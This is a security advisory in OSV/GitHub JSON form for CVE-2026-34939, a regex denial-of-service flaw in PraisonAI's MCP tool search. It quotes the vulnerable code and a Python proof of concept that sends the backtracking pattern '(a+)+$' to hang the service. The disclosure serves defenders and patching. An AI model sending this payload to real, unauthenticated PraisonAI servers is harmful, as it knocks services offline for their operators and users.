CVE-2026-34939: Praisonai Denial of Service Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-8w9j-hc3g-3g7f",
  "modified" : "2026-04-06T22:54:16Z",
  "published" : "2026-04-01T23:21:08Z",
  "aliases" : [ "CVE-2026-34939" ],
  "summary" : "PraisonAI Has ReDoS via Unvalidated User-Controlled Regex in MCPToolIndex.search_tools()",
  "details" : "### Summary\n\n`MCPToolIndex.search_tools()` compiles a caller-supplied string directly as a Python regular expression with no validation, sanitization, or timeout. A crafted regex causes catastrophic backtracking in the `re` engine, blocking the Python thread for hundreds of seconds and causing a complete service outage.\n\n### Details\n\n`tool_index.py:365` (source) -> `tool_index.py:368` (sink)\n```python\n# source -- query taken directly from caller, no validation\ndef search_tools(self, query: str) -> List[ToolInfo]:\n    import re\n\n# sink -- compiled and applied with no timeout or exception handling\n    pattern = re.compile(query, re.IGNORECASE)\n    for tool in self.get_all_tools():\n        if pattern.search(tool.name) or pattern.search(tool.hint):\n            matches.append(tool)\n```\n\n### PoC\n```python\n# tested on: praisonai==1.5.87 (source install)\n# install: pip install -e src/praisonai\nimport sys, time, json\nsys.path.insert(0, 'src/praisonai')\nfrom pathlib import Path\n\nmcp_dir = Path.home() / '.praison' / 'mcp' / 'servers' / 'test_server'\nmcp_dir.mkdir(parents=True, exist_ok=True)\n(mcp_dir / '_index.json').write_text(json.dumps([\n    {\"name\": \"a\" * 30 + \"!\", \"hint\": \"a\" * 30 + \"!\", \"server\": \"test_server\"}\n]))\n(mcp_dir / '_status.json').write_text(json.dumps({\n    \"server\": \"test_server\", \"available\": True, \"auth_required\": False,\n    \"last_sync\": time.time(), \"tool_count\": 1, \"error\": None\n}))\n\nfrom praisonai.mcp_server.tool_index import MCPToolIndex\nindex = MCPToolIndex()\n\nstart = time.monotonic()\nresults = index.search_tools(\"(a+)+$\")\nprint(f\"Returned in {time.monotonic() - start:.1f}s\")\n# expected output: Returned in 376.0s\n```\n\n### Impact\n\nA single crafted query blocks the Python thread for hundreds of seconds, causing a complete service outage for the duration. The MCP server HTTP transport runs without an API key by default, making this reachable by any attacker on the network. Repeated requests sustain the DoS indefinitely.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "praisonai"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.5.90"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.5.89"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-8w9j-hc3g-3g7f"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34939"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MervinPraison/PraisonAI"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1333" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-01T23:21:08Z",
    "nvd_published_at" : "2026-04-03T23:17:06Z"
  }
}